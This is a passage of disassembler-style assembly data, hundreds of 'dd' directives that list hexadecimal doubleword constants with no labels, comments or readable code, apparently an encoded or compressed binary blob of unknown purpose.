		dd 0EE5230D8h, 7D0345A3h, 0B30A4147h, 0E6083397h, 0A3A8F821h
		dd 0CF007CE9h, 35EB90A7h, 419210EDh, 4650BBECh,	41A4047Dh
		dd 3240E77Dh, 0EAF420E9h, 4B06B2A3h, 0E4AC0BA0h, 0B9840019h
		dd 7A9B7CBBh, 0BE58F8DAh, 7D4C3B6Eh, 7E6FCC0Fh,	0E91F8042h
		dd 1D48E728h, 0CCBE563Bh, 0D8F9D6E2h, 36B57C00h, 3D0B1C9h
		dd 5DE71E29h, 5BD106EFh, 34061021h, 0B04E538h, 6FC0130h
		dd 8B9C15ADh, 23E1F8AEh, 0FF08F766h, 0E7495021h, 461C3B38h
		dd 0C8400073h, 7F653D2Ch, 186EDAAEh, 7977E180h,	0B050ED29h
		dd 603C80FFh, 1B7D108Ah, 4C00980Ch, 63BD82B8h, 1D1A21h
		dd 0ABAE03AAh, 483681A7h, 0B3019203h, 0D376B243h, 870B8041h
		dd 6610012h, 0AAADEE65h, 810018BFh, 8D3E39D3h, 3D24759Bh
		dd 0A787C8ABh, 70E44219h, 1C0A01F5h, 272EEB07h,	8A21C982h
		dd 61D8623Ch, 0A5FCEBE9h
		dd 0AA6E0028h, 8910905h, 71021FA8h, 8EFF1BACh, 7280609Fh
		dd 0DD3395Ch, 6CAA580h,	0D5A2BC35h, 5D03947Ch, 0E58B34F5h
		dd 0D0EBA34Fh, 0FA6E069h, 0C2FBA211h, 0A3AD1F20h, 0AF005807h
		dd 1838E734h, 4F0896h, 0C9217DDBh, 0C0DFAEEEh, 3B0B5900h
		dd 575035D4h, 0EE20FDC8h, 0F20E0001h, 0B72AA0F8h, 0FF7F4FA3h
		dd 67006CF4h, 2303F4B9h, 101899h, 0ECD5079Ch, 0AFD1D40h
		dd 0D23D4E0Eh, 2D88A0BCh, 2522F67h, 79600575h, 8EC8ED33h
		dd 0B2769CACh, 2DD6CF00h, 0F1D5BBAEh, 208F07A7h, 701A333Eh
		dd 68E9BD8Ch, 0EA01C803h, 90779927h, 7B919826h,	0ACB4003Fh
		dd 0AB97CCD5h, 0BA004734h, 165E5AE0h, 9B3D01h, 2F7DD6EFh
		dd 77B42728h, 97381D00h, 93F5D0E7h, 11801E1h, 0CB10D5FDh
		dd 3C90F48Ch, 0D7363Ch,	22E8C11Bh, 0A555BEFh, 81070F46h
		dd 964200E0h, 593B7653h, 0DF972600h, 9DE34B90h,	2675F294h
		dd 2046A1CCh, 8BDD0184h, 5845D0C4h, 10C4405Ah, 1E0064EFh
		dd 7D753820h, 1DC157Eh,	0B4CA9408h, 0E8BA9F49h,	0EB01BD39h
		dd 36716F75h, 3C7054AFh, 0E33E0004h, 0D17A0C44h, 0EB00D80Bh
		dd 0C56B2BB4h, 5864781Bh, 4F3E0532h, 3907E184h,	55109020h
		dd 0E00042C8h, 565D3D2Eh, 0F50201h, 0BAD4A366h,	40D7C9F1h
		dd 0BE5D600h, 2284BF5Ch, 7E5D16FDh, 0E386000Eh,	20E0CD81h
		dd 8FEFEC00h, 4BC8B767h, 7CE23966h, 0FCD50076h,	0F1B1A57Eh
		dd 430092F4h, 4DEDA934h, 6AF7B8h, 0E2A70172h, 792CBB54h
		dd 6B8A0C50h, 27EC7F12h, 0A2A12440h, 0EC3E0BB6h, 0D6C74C2Dh
		dd 34A5AE07h, 0E2D1A002h, 8900642Ah, 6F99EBADh,	18352DFAh
		dd 4C0B0185h, 0CB0067EEh, 23026244h, 0C6FC74h, 0D5A0209Ch
		dd 66EAF9Dh, 0AC120C00h, 70D482ECh, 0CE910089h,	0B7DA972Eh
		dd 9A031F3Bh, 0A6D9E647h, 6A0AB0ECh, 0EE90071h,	153DE585h
		dd 8400E4B8h, 8979666Dh, 7BB28CBh, 0DFF0FD5Dh, 70487018h
		dd 9D0082E5h, 1E6797B6h, 3C5FA246h, 690041C9h, 2390ED6Eh
		dd 0EA0029AAh, 32A944AFh, 95ABD67h, 0CE5D8740h,	7A941480h
		dd 0AC00E1B3h, 7CE47680h, 2A1575h, 7F36A94Fh, 2FB1127Bh
		dd 2D17F106h, 386272h, 2360B743h, 67D21F2Eh, 44FCC724h
		dd 0DF54902h, 0B6E040FDh, 9BE22Ch, 9D133CCBh, 0D3765F51h
		dd 72005092h, 9C0573FCh, 0C6A5E4h, 4732B557h, 4CD348C1h
		dd 8F8EFE02h, 0D71A7974h, 0BC09FE58h, 80817A42h, 0C3CCDD55h
		dd 0C053013Dh, 0EFC8103Bh, 4EB420ABh, 0D30A3900h, 331CB441h
		dd 3881011Eh, 8BE0C4F8h, 59D1E4EAh, 8F53A63Dh, 0C0636EDFh
		dd 4DAF2F1h, 106F6778h,	84CEA158h, 8B60A040h, 10D9C500h
		dd 0D6B4887Ah, 4BD500FEh, 3EF3772Eh, 0C906A76Dh, 0E707AB02h
		dd 0D0C10040h, 0EFEA119Bh, 8E03547Dh, 97E6B9ECh, 0A5C8D8BAh
		dd 0C07351h, 0B0F3A8CCh, 0C27F5DAh, 0A604700h, 99EF878Ch
		dd 0CA50001Fh, 4030E9D4h, 9100924Eh, 9FDEA4DBh,	4F1963Bh
		dd 0E7B8FEB6h, 6338C7ECh, 0E8D3DD3Fh, 4294D9E8h, 0A4094375h
		dd 0DE96D1h, 0CCD73DECh, 0B8F300D2h, 76799DAh, 47000F6Bh
		dd 7F8F2786h, 149AE8Ah,	300C14C2h, 8F2D25FEh, 72C0F98h
		dd 8CF10EF3h, 0B18F8A21h, 0DEC0410Dh, 0DF080BF1h, 433DD973h
		dd 0A5F080FEh, 7A6E2961h, 6707005Fh, 0A5BE88Bh,	5E0F97DBh
		dd 20354A72h, 0EED5AF4h, 1BFEFA50h, 700BF54Bh, 89C7801Dh
		dd 0AA110D8h, 0A64000F1h, 0D6A4DD50h, 8D00E699h, 0EA1328D2h
		dd 0A02491D9h, 0AFB894Ch, 6C06EE2Fh, 40751E70h,	9B2A4FFEh
		dd 957E461Fh, 1EC04D07h, 0B5204496h, 0ECDD4090h, 688C00ACh
		dd 304F672Ah, 2F00BFAEh, 0D3B8219Bh, 53BE4Dh, 0F65B5292h
		dd 5457AA35h, 0CF01E903h, 0D897704Bh, 37BA8BDh,	192C0E79h
		dd 49D8558Fh, 2E00EF9Dh, 7748F232h, 74A13BE8h, 0AAEE2F8Eh
		dd 0FD1E2178h, 803B0643h, 84351103h, 0FC10A6CEh, 69BB0985h
		dd 0B680DAC1h, 52296009h, 0DBB8B600h, 26CE61BFh, 637523h
		dd 7A544191h, 93E57FC5h, 377DB603h, 80BED9D5h, 700D66FEh
		dd 68A200B2h, 5054064Dh, 6E0A14F2h, 0A0FD7F43h,	2CF1880h
		dd 0E59BE9Fh, 973DEA56h, 4D93ACC0h, 0BA010168h,	0B1D91ED2h
		dd 0B0507C5Ch, 1096B12h, 55DD8EF7h, 0F0D9EEDCh,	0C958881Ah
		dd 80BB0CCEh, 2661F6h, 2811A343h, 0B07F68B6h, 0ED2DF507h
		dd 79903BDAh, 5B76F9h, 1D4506EAh, 1B0DB58Ah, 4193DE31h
		dd 88028AFh, 51316C86h,	0A10CFB02h, 1923AEFFh, 0C8330016h
		dd 0C76A8D48h, 943E7FECh, 0E15C3E93h, 688F70B1h, 0F003E4h
		dd 853BC4BEh, 2267CF1Fh, 0ED1EC7F8h, 920326E6h,	0C0287F16h
		dd 1596155h, 185E4CECh,	80F7801Ah, 0D044A291h, 77EE4D1h
		dd 0C3FAC911h, 825DD0ADh, 8B18EA2Eh, 4C79145Fh,	0F86C0098h
		dd 68503CC2h, 15305504h, 92D1B929h, 7C1A077Ah, 6E46C70Ah
		dd 8C8F9CE0h, 313F8309h, 4864B0BCh, 1421290Ch, 9859C5A7h
		dd 51DA5403h, 690E1B5Ch, 0A02A7D3Fh, 7ED8AE50h,	451A3D4Dh
		dd 149F69Ch, 0A4D9F273h, 0A88EEC4Ch, 186B2600h,	0B1743414h
		dd 0D460C085h, 9EEECBB4h, 0DED56A00h, 0DFDC58AFh, 6E3C0132h
		dd 46182696h, 2171807Eh, 0EE6858C2h, 11A48A1h, 42DB8800h
		dd 0C486133Dh, 0B0F84028h, 0A46A920Eh, 21556F15h, 0A561995h
		dd 5828058h, 0E41AFEFCh, 0F9B0408Ch, 0A3DA527Eh, 326AD700h
		dd 0E6A5C138h, 0F530C29Eh, 0CC832F86h, 7EA16715h, 0F2891090h
		dd 0CEE3036Dh, 0F8EA76D2h, 61562598h, 1B8C3A00h, 4F10EC4Bh
		dd 0FAE9005Fh, 93DDF417h, 46522966h, 8B0200D8h,	2BF1FCFDh
		dd 0CEA30CB5h, 0C161957Fh, 82634E1Ch, 0AA41C29Dh, 8AB5319Ch
		dd 603252F0h, 0B862B85Eh, 783AA513h, 0CD3581F8h, 0B165074Ch
		dd 0F3CC60CDh, 48E16785h, 4225C556h, 5B734C84h,	0A9F8F4A0h
		dd 8A070B30h, 0E9B33F6Bh, 7FF21EB0h, 1289C08Eh,	37DF7429h
		dd 0AB68410Bh, 0F032003Eh, 0C413A7F8h, 80678DC9h, 0F95523CBh
		dd 8069A56Fh, 819C8E1Bh, 0B5B198Dh, 325C1926h, 36C900BCh
		dd 0CB243E3Dh, 0B2733F2Fh, 0B7816481h, 2027C55Fh, 1460AE1Ch
		dd 0B5979339h, 890D015Dh, 60D4FAD8h, 447DF86Ah,	0EB1D1A16h
		dd 0D64D4F00h, 722A2h, 468B5068h, 0A96B927Fh, 107AAF06h
		dd 15117AEh, 0B8744D5Eh, 0DC41D67Eh, 4F44FBCh, 0BC10100h
		dd 0CB7D797Fh, 0A0217A91h, 3999FDACh, 57002FAEh, 0BFADC46Fh
		dd 454A0859h, 370AA5ACh, 83AC5874h, 67AA0F60h, 89353087h
		dd 0D701640Dh, 0A8ECB6BDh, 0FF302D63h, 561426C3h, 5F4E6274h
		dd 0C50ABDC0h, 35502E00h, 0F9DAE055h, 62211ECAh, 70111FE7h
		dd 7D4CA2C1h, 0BD49254h, 984F5E01h, 639D3D70h, 4D171E8h
		dd 4AAEF8DDh, 0B2740446h, 0BC08C090h, 6963003Fh, 6FC29810h
		dd 0DAFEF00Fh, 50DBF30Eh, 72EE182h, 1C231255h, 0A0808C04h
		dd 0F84380CBh, 2CA135A4h, 0C5E410B1h, 0C06A1FB5h, 59D7C08Bh
		dd 693AF4B4h, 5C904904h, 94CC8ED2h, 0A0830023h,	5D312597h
		dd 2609384Eh, 1074D6E1h, 1D4D5150h, 40F5FE82h, 0EEF2D10Fh
		dd 0E701E331h, 506BCE25h, 0C1D7AE1Fh, 73E1283Dh, 0EC3C70h
		dd 8C210D52h, 61A77867h, 0BCAEEB1Eh, 200678B0h,	52BB4CDDh
		dd 44EDF600h, 0C76924ABh, 11079200h, 2747C0AAh,	0A9126046h
		dd 0BBF97094h, 4E8F8B07h, 0FF764D1h, 206290C2h,	60A2ADD9h
		dd 0D086B490h, 1D08874Ch, 97EE1A6Ah, 0BB769202h, 0C08C4031h
		dd 0B832E726h, 0DD8F4D3Ah
		dd 0C520CD52h, 5D2431C9h, 9AE80084h, 45B0E16Ah,	0B5011920h
		dd 9226A3B3h, 50703AB7h, 22FD3A65h, 3F9C02A4h, 13642000h
		dd 0A58B9E46h, 6E4988C0h, 9B6C7F1h, 0FC8073F7h,	1631C20h
		dd 3F73991Ch, 4419B71Eh, 959406C0h, 81BBB36h, 0B17515ECh
		dd 0E7FDAC87h, 0CDDC7920h, 33BE0F42h, 0A4A0CACEh, 0FB884371h
		dd 5A528F01h, 0C81AF621h, 0F9132432h, 8C0C20ADh, 7203947Eh
		dd 0DA6E1DB9h, 18A79224h, 8E048761h, 12568BB8h,	166BE0D8h
		dd 183E1B69h, 0EAC459BAh, 0EB2B63Eh, 0A0B581A0h, 0F8D30932h
		dd 0E8BD057Eh, 80037B36h, 150B60F8h, 0F2C34B05h, 4C87ACD8h
		dd 655E0710h, 1CB5F8FCh, 40A26997h, 75A78A50h, 2F008816h
		dd 0C68DC2A4h, 21229DEh, 547B6207h, 0A880E73Fh,	5BA92345h
		dd 0A9C924FAh, 441C115Ch, 96D05831h, 0A2D50F09h, 5C26DA72h
		dd 0CF022111h, 77C14181h, 989C6C5Bh, 0A75405A0h, 20AE7F89h
		dd 0F3B4C080h, 0FF00BDF4h, 1D940BD3h, 32DAB37h,	3B13960Ah
		dd 0B03AEE05h, 5D3D0C2Bh, 142A5118h, 0A9B728F7h, 6360378h
		dd 0DFFDC6F4h, 906A6097h, 0DE1327AAh, 2821E017h, 9824BFAFh
		dd 385200FCh, 30B076B3h, 0A24CD33Ah, 48D00D8h, 9E615CDCh
		dd 8790B9D7h, 71193091h, 0F34B3133h, 823583F0h,	5E74DD10h
		dd 450F0C01h, 0E066F3F1h, 0E916240Dh, 2403C4C3h, 155D2Ah
		dd 0A736F8B9h, 0B516FDCFh, 2770514h, 300D2294h,	85F0E704h
		dd 88E843DAh, 0FC76CB1Eh, 9944C840h, 0A7DB4F3h,	85DC1B14h
		dd 0A9E33B6Ch, 78D0BBDFh, 3F00C783h, 0E82B0E95h, 3357DF9h
		dd 9646A502h, 0BFA81C6Ch, 74002FB6h, 0C53BD4CCh, 1074D2Ah
		dd 27599743h, 741F93D7h, 0A4727BE8h, 0E95A7430h, 3E1AFDBDh
		dd 0BB802A71h, 0D214DF39h, 60009164h, 26E92F9Ah, 0B09528E0h
		dd 1C53002Ch, 0E56BD1EBh, 6716CED9h, 1033BE56h,	3364D87Ah
		dd 0ED7B0041h, 0E4ABA49Dh, 4CFA8DEAh, 9C495C12h, 56659403h
		dd 6F63F883h, 20691CFCh, 29D944B4h, 47DCC298h, 0E810B311h
		dd 0F61E7759h, 0A580CAAFh, 9B426701h, 65BE009Ch, 7C19F0CEh
		dd 74B8E9CFh, 7DA272Ch,	0E5061D00h, 13C7F204h, 81A34Bh
		dd 0E6DDAF64h, 80623FF8h, 0AE5775B9h, 0FAFDA088h, 2E5B6Dh
		dd 3F2C7EBFh, 341B95C8h, 0FE68970Eh, 0A2EC0B14h, 0C20FF064h
		dd 3D007F94h, 0BEC72AA5h, 0C51AE31Ch, 90D40A25h, 46ACAA60h
		dd 0AF230095h, 49082CD5h, 0CB2ED270h, 5802E0E5h, 44ADCF0Ah
		dd 3AE13A00h, 95549Fh, 0A9B770A4h, 0F4008E1Ah, 1378EDA8h
		dd 26CE0108h, 40F49327h, 67D69EDAh, 87F8B90Fh, 0A2540326h
		dd 72A8E088h, 0ED62062Bh, 31E31AEAh, 0C79E4700h, 0FFFC1268h
		dd 26D30648h, 21459728h, 477A4A0h, 4EAC9350h, 444E804Bh
		dd 0D8C82765h, 0E2848AF1h, 0B0F08CCh, 97264BB5h, 0D69C3C18h
		dd 87EC7958h, 0A4973D84h, 0E4313F1h, 68C5C3C9h,	7F2D830h
		dd 5592141h, 49413C74h,	0E260A000h, 0D7C42EAEh,	0C7871325h
		dd 2CF8207Ah, 0E60070EFh, 884722EDh, 1D12826Bh,	0C0EBB608h
		dd 4CBA56F9h, 6090EFECh, 0BE468400h, 2331F175h,	861B0302h
		dd 0B4962654h, 0F9805118h, 0D6E4E1h, 0D88EE8BCh, 0CF7FEE2Eh
		dd 0B238E306h, 4AD84B73h, 930405Ch, 0ACBB4C0Dh,	892C17E8h
		dd 3E0FAC76h, 0D749603Ch, 4EF8F00Eh, 96C843A3h,	1AFBF97Ch
		dd 0C03C1148h, 33200982h, 411E02FBh, 5D28EFDBh,	3700B044h
		dd 0B4B2F85Ch, 0ED81F1h, 0C713E8D8h, 2A16551Ch,	0B3C4E300h
		dd 0C970B9BCh, 4244CECh, 4E7B7209h, 80755400h, 3CA0461Eh
		dd 0C900C3C5h, 1B9276D1h, 52F65E0h, 63150458h, 0A424C162h
		dd 0C485FC0Dh, 0A4DB2124h, 1058A501h, 283025D4h, 5912141Dh
		dd 0C40588F1h, 0C8AE1B97h, 60039C8h, 0A6853575h, 4EB34931h
		dd 0B5B42045h, 7105D5EEh, 0EF43120Bh, 1025C500h, 0FAF423E4h
		dd 18C00B5Ah, 5890ADE6h, 1300679Eh, 406173CFh, 0A025A431h
		dd 880DA9ACh, 0ACB0E83Eh, 5DFE5201h, 785BBFE6h,	8F009839h
		dd 4AFD3D5h, 5F060596h,	307ACBFEh, 1EF398C8h, 66A955Bh
		dd 48CDBCA4h, 5EE5603h,	0A1943A51h, 50703F6Dh, 4C4A078Bh
		dd 0A091E18Eh, 4E7C1BD7h, 24144DFCh, 58AE97h, 364530A5h
		dd 5112EF1Dh, 0AC48FCC4h, 7B4802D0h, 5D404AB6h,	0DD072444h
		dd 0C9625BD5h, 661267D0h, 6ED004DBh, 0E09AEA15h, 0EC05B890h
		dd 5FA26B9Fh, 223FE420h, 0EFD900DDh, 6470DF97h,	7703EE63h
		dd 0A3C660EAh, 4082EC8Bh, 75257Ch, 4FFE0444h, 0D10E8C55h
		dd 2E253011h, 8BD6E543h, 0C62240C2h, 71B70048h,	0AD6F4AA1h
		dd 0C41E831Ch, 8E00CF57h, 9396AA02h, 9C000DAh, 5C6792C8h
		dd 952953EDh, 0DF01C0AEh, 2461B196h, 12578EF4h,	0C8998FFCh
		dd 83002CA0h, 0B37D28B9h, 8C64Ah, 8146FA94h, 0CA4C3BDCh
		dd 84748D0Eh, 2BF781C7h, 9C229428h, 34135614h, 0B52AC400h
		dd 5248725Fh, 74361513h, 124F020h, 547700F2h, 0E534BC2Dh
		dd 8C009DCCh, 0F799408Fh, 964623B6h, 0AA218000h, 8228ACEBh
		dd 1BFADC00h, 57A29B5Dh, 0AE4D07C5h, 84FCE759h,	0C710E05Ch
		dd 0B4F97729h, 806964A4h, 0AF3CA74h, 7D240F7Fh,	6B8FD1BEh
		dd 94CF3E82h, 5DAE3C40h, 408FD524h, 0F5C6F000h,	0F28FCE3h
		dd 0FB89874h, 0ADD3ED62h, 0D0C1072h, 14AF915Ah,	0A3CA00FDh
		dd 481F255Fh, 473862C4h, 0D558CECh, 605C312Dh, 42D7997Fh
		dd 25E6F3EBh, 6D715A14h, 0ED3800A6h, 6F3FB865h,	9E8904A9h
		dd 814F8618h, 0C231203Ch, 30B59861h, 0D9C056C0h, 411DED2Eh
		dd 0D8FB074Bh, 7D4BD32h, 8FC5A082h, 2D3DE064h, 25E705D3h
		dd 0C889928h, 5C96278Eh, 1B0734A0h, 0BF03C94h, 0E9F2D405h
		dd 8C0040E7h, 17DF3F66h, 0D54B008Eh, 0A291738Ch, 0B816D985h
		dd 0AC8860A5h, 0B529007Ah, 57DBFCEDh, 0B1001CDEh, 0A3583B28h
		dd 43860h, 69337A48h, 0B7C63D0Eh, 0C7079C00h, 724F209Bh
		dd 40454ADAh, 82B5EF7Ch, 105D75Dh, 2294D19Fh, 1600BCA2h
		dd 0A1B41442h, 64B55EDh, 0AF720030h, 0DA1B2D1Dh, 0FFE0D814h
		dd 0A0CEC501h, 0D7B7D8F2h, 0CBFD9D0h, 917EEBECh, 32010731h
		dd 51CDB9CBh, 0C86094EDh, 0DA624498h, 7C919D79h, 0AA50C880h
		dd 2390A80h, 0F96A6B28h, 0A0E845A4h, 0C377EDECh, 10001499h
		dd 0CFB57ECEh, 69360059h, 18791F89h, 5E00C53Bh,	0BA158DC4h
		dd 27A175A4h, 8C7C05B6h, 15017021h, 0F124286Fh,	185B0870h
		dd 211AAEF0h, 0CD000A98h, 0F27A5C39h, 0F6AA94h,	0FD28F157h
		dd 0A018DCF8h, 0DC20414Ah, 1AA9ECFh, 0D8C7DA4Ch, 6072A4F5h
		dd 7E04612Ch, 733F14F0h, 6F3488h, 0E41263C7h, 0E8B099ABh
		dd 5DBA0F00h, 18B6D266h, 94189CE0h, 8E0058AFh, 3CBA2136h
		dd 0FB1D746Eh, 4B00D6B0h, 0F8EE4123h, 88814CA6h, 0B6003490h
		dd 658C2403h, 5A00B0E7h, 0D220C672h, 30818A69h,	0DB295F7Ah
		dd 5A002C1Ah, 308CF7C4h, 9ED344C6h, 4ABD4034h, 0F300B9DBh
		dd 0BA0ABFABh, 50D221h,	8AA1C819h, 91264AA8h, 0E906099h
		dd 8C24D585h, 83074A94h, 912DE295h, 0A8CF4D50h,	3C42003Bh
		dd 241E18E5h, 38B87CC5h, 0C6046D00h, 0B4F1ECBAh, 0CCE958A6h
		dd 24095427h, 0E7246C82h, 9F5084E0h, 0EC41CA00h, 9826A3D9h
		dd 0A889D448h, 738124C0h, 2B00D584h, 5AD95007h,	244C2E1h
		dd 0F9720BFEh, 0D4522FA0h, 0E100A084h, 15CC22BBh, 0A958DCh
		dd 0DECD9D0Eh, 7368F071h, 9FBB78A3h, 4F52FE0h, 0E91308EAh
		dd 821A8F8h, 687DE11Bh
		dd 62008C48h, 0F2DDC67Dh, 2613FF8Fh, 0DC907E05h, 5EDACD5h
		dd 97758C87h, 5BF4D38Dh, 0AD79D28Fh, 0EBE0C8AFh, 13083E37h
		dd 0CCBDA500h, 8E107D7Bh, 0D090A1B1h, 0C0773884h, 3B90E2FFh
		dd 45D98006h, 0A59D9BF3h, 5E4D0376h, 0FA7F3A93h, 6D368100h
		dd 771357D2h, 0A6A4008Bh, 0EEA92083h, 8019ABAh,	0B3CB74D9h
		dd 983D463Ch, 9B588B00h, 7A163D6Eh, 0F665C000h,	4A67ED2Dh
		dd 0B8D0E81h, 0CE1074Ch, 2420AEA1h, 400A90Ch, 3D2644A5h
		dd 382B98A4h, 5289C856h, 8013D91Ah, 7E07DFF8h, 9C118F60h
		dd 0DB5E14h, 0BC53F873h, 97ECEFA2h, 0A36D0600h,	0B20CF21h
		dd 1E0E3255h, 0CC725C69h, 43893400h, 0E96141CEh, 0D977FAh
		dd 4D60D5C7h, 51B53807h, 64265D26h, 0CC004B16h,	29C4C1D3h
		dd 81F8607Fh, 2E49E2AFh, 9B9A6000h, 3B3F316Ch, 0EA5200D8h
		dd 7826E705h, 0E509892Dh, 0C85C751Eh, 5DFF34Ch,	6C2BB4E0h
		dd 3CD50706h, 0A42F31CAh, 33C0F85Bh, 23B890F3h,	0B6891188h
		dd 9189270h, 90148496h,	0C940FB4Fh, 0ED9E0224h,	5FABB613h
		dd 4F07ECD0h, 1B14E27Ch, 0A06A4956h, 0B5B66990h, 8C270B08h
		dd 5A20B047h, 9E588E1Ah, 9F6A0010h, 6CAA326h, 47B053Bh
		dd 0A474E3AEh, 0B30289A0h, 481A8C85h, 0D9CFE138h, 0F9128468h
		dd 650CC8A6h, 6F68AF50h, 8A4EEF00h, 2C87EB30h, 62D300D8h
		dd 9D664C70h, 9050294h,	8E27C496h, 0BA0088Ch, 3A507E6Fh
		dd 0FD3D6498h, 0D42F7A00h, 698A8ECCh, 5FA01AB3h, 50DA2119h
		dd 0A039509h, 9FC48074h, 9CA31781h, 0F66C4048h,	0B202A6A8h
		dd 0B5EEC891h, 0FD9880DFh, 0B7F7764h, 6FF06D69h, 0AE1B1400h
		dd 0E94A0A88h, 0DF8E0020h, 0CDBB2EC6h, 0CC96142Ch, 0EC10341Ch
		dd 2C202F4Bh, 81CAEA13h, 0C4B35900h, 856797C2h,	40E09EF0h
		dd 1FA7E58Fh, 2E0B93Bh,	53E20DDDh, 88D921h, 6D1BAA8Eh
		dd 3728E5A4h, 10000C5Dh, 0A0C4A656h, 8CC8E3h, 25838D74h
		dd 269CD90Bh, 9B462EFh,	0E85CA6B7h, 1A4EF4h, 5F301668h
		dd 0E1B1A2C7h, 76A32502h, 414D26CBh, 18505004h,	1E37398h
		dd 44D4F93Eh, 30D5E7F3h, 0DB018830h, 6D91DE49h,	0A8E055EBh
		dd 13822428h, 0AC4200A8h, 58AE3144h, 0C77D5E17h, 0D85CC04Eh
		dd 7BF43959h, 2C1FAECh,	0D16D54BEh, 0B1C04548h,	231888B1h
		dd 0DB90243Fh, 3F0899E8h, 42F093A6h, 5921F77Fh,	4AC01780h
		dd 1C7CC4h, 0DB5F6B60h,	0AFFD49A9h, 0F2D2B80Fh,	0DFA74289h
		dd 88987987h, 0C3806074h, 7522DAB1h, 0B22304E6h, 0B4AAF8C6h
		dd 880F06C8h, 7DEA321Eh, 66127BBDh, 58A0DC6Eh, 87A35057h
		dd 0E74412FCh, 46AC839Ah, 270C97D8h, 8733626h, 0CB4F9541h
		dd 8D75C4h, 0A05F8445h,	2FDC89EAh, 0B44842F2h, 4C912884h
		dd 3E06F201h, 7A24657h,	0DC814CD9h, 1F494D7Bh, 0DF1082F6h
		dd 590FB85Bh, 882CC0h, 0FC7148CAh, 97072D4Bh, 79732FD3h
		dd 0C4025E00h, 45DE28BEh, 4A713C18h, 83893F81h,	0D5F143A5h
		dd 809EFE7h, 451AEBFDh,	35AA8004h, 2A9E250Ah, 2B44FCB0h
		dd 0C17016A7h, 0A08CC83Ch, 739D3Fh, 0BC114DDDh,	177D84C3h
		dd 0C0EA649Ah, 5F14F528h, 156F9D04h, 4CC2606Ah,	0B5FCC06Ch
		dd 734C00A7h, 0F565D19Bh, 9A2627C7h, 11446063h,	0C033D4E4h
		dd 6A3003B0h, 5D7ED58Fh, 0B44F805Bh, 694A4078h,	2C14DF17h
		dd 12AA7D9Ch, 8B6800C0h, 6B27D5C2h, 7B40C600h, 6A14EDB4h
		dd 3C23009Ch, 3436C8Dh,	0C77508BBh, 0A671611Dh,	0F75FA581h
		dd 55F06B44h, 892F6214h, 4C728F26h, 0B1F8CF12h,	8961DC20h
		dd 645C040Bh, 0C8A4F963h, 0E6173EF4h, 4030D826h, 9CEF9F3h
		dd 92F4D5EBh, 541B5980h, 48122C9Bh, 0C8D17A88h,	0E4EC5F8Fh
		dd 0E09D0BE7h, 4A888994h, 0D1BF039Ch, 0D7D25668h, 977838E0h
		dd 21340458h, 114112Ah,	0F411643Fh, 0E1EC3533h,	0FE92248Ch
		dd 4C8E08DCh, 93CD206Eh, 64991Bh, 0F80C0896h, 0BC6531C8h
		dd 0D514C17Ch, 0C0FC2695h, 0E77919CAh, 8A410EAEh, 0AFE05EF9h
		dd 75935481h, 0C7F2D602h, 0C656C29Ch, 609E0F6Ch, 0DF84C464h
		dd 0E454A474h, 790A7F01h, 1EF3E645h, 7D8B860h, 0D1B5C606h
		dd 0F980C87Ah, 9BE1D48Dh, 0B8505A4Dh, 8117382Fh, 0D0772CE6h
		dd 0C3DBBBh, 0C2A1AC78h, 145206FEh, 264410B0h, 458A00AFh
		dd 537844FAh, 0E507E1AAh, 85A95E40h, 0C6A2F6A2h, 0C4762C74h
		dd 0C07767D8h, 0A1D28791h, 2E630500h, 0AB5A14E8h, 7D4A0BF5h
		dd 0F890805Ch, 0F0021C2Fh, 0D5ECDFB3h, 1F207904h, 32B64089h
		dd 207CC57Eh, 27DFE603h, 0C8AF5EDAh, 4A1B2405h,	0BC2C30E2h
		dd 0D301D494h, 0CA9C6591h, 682C0180h, 5E12CF9Ch, 1D9D7040h
		dd 8800B5C8h, 0CEA1C0E6h, 1C204Ch, 0A4304D57h, 0E025EF5Fh
		dd 0BA87952h, 0DD1A78h,	0C0D626C2h, 3D5B00EBh, 0F00BAF7Ah
		dd 794E55ECh, 5E77CC4Fh, 0E666109h, 746C84E0h, 1AC5CA4h
		dd 20E57E09h, 0FF972840h, 0BBB56102h, 0E65F2CD4h, 9600018h
		dd 0D4EF687h, 25726856h, 5F8C5C13h, 716B5820h, 0AD0503CFh
		dd 97CE9563h, 72463EC1h, 110C0080h, 0D06DCF39h,	0DC4A1205h
		dd 0DD2C907Ch, 0A61E26F8h, 7B07BA64h, 2950C5E6h, 131053D3h
		dd 0A4AFE45Ch, 0C704F114h, 0E5B1044Fh, 0E20FD0C0h, 26AB28F8h
		dd 64DF0344h, 8B7FEAB0h, 0C2B16113h, 0D221ED00h, 1790967h
		dd 7298E38Fh, 6C5A9C03h, 733D872Ch, 9684530h, 5671049Fh
		dd 40F77F33h, 5A909391h, 0F92800A5h, 0AEED3AE5h, 6000F409h
		dd 0D9EF19EEh, 1FBB7ECh, 0D685F3C4h, 222D17D3h,	0A33C040Ch
		dd 4482EA53h, 59C8801Eh, 2576A96h, 0CEB4F16Bh, 34C4751Ch
		dd 8AF45200h, 618BBA40h, 76F4B2F5h, 84B95C7Ah, 0EFCC6503h
		dd 180797EBh, 0EC74026Ch, 0AC207F15h, 16B7779h,	0A623E270h
		dd 0E05ACF7Ch, 25007266h, 0CD4BDC7Eh, 2E780668h, 14194Dh
		dd 2FBD8357h, 0C7035CA4h, 89F3A250h, 729FC8BFh,	60A7059Bh
		dd 0C16214D6h, 7C4FA04Ch, 2F4680F8h, 0FAB81ED0h, 43B8BBh
		dd 0D9F39390h, 0FD5CA29Dh, 0B0ECA130h, 51043314h, 73C8547Eh
		dd 0A13200A0h, 3ED8CA78h, 0E200FF09h, 596E0D4h,	0EDAD40h
		dd 9DCE27E7h, 88733067h, 6C88CF4Bh, 0C95E0E85h,	406B9568h
		dd 0B80A0009h, 50DC3C91h, 5F609482h, 83005C52h,	8CFCC4A8h
		dd 0FB56AC0h, 0D8337053h, 0D205F800h, 88B4CF94h, 0BB9FC540h
		dd 3B21B87Bh, 1F801B88h, 0E8554F54h, 99E228A9h,	3650F4BCh
		dd 0A416018Ah, 0BEF8E918h, 13CCE09Fh, 2400A17Eh, 43195F95h
		dd 9EC79EEEh, 142811F8h, 2E5C8D26h, 0E1190E8h, 0E7078C01h
		dd 0BEE018C4h, 0D19F0021h, 0DB0ACE6Ah, 297B2D96h, 43C86098h
		dd 1A22C405h, 20B44632h, 23BC00F4h, 0C7672BE6h,	903B91FAh
		dd 55C20566h, 808064E3h, 0C0134625h, 0E79CAB31h, 7B146752h
		dd 9C8990Ch, 0E48D2826h, 114234h, 6C1F6AC4h, 0EC7341Dh
		dd 8CB991BBh, 3E38C8F7h, 0AF01ACECh, 17F0D0E2h,	9EE82145h
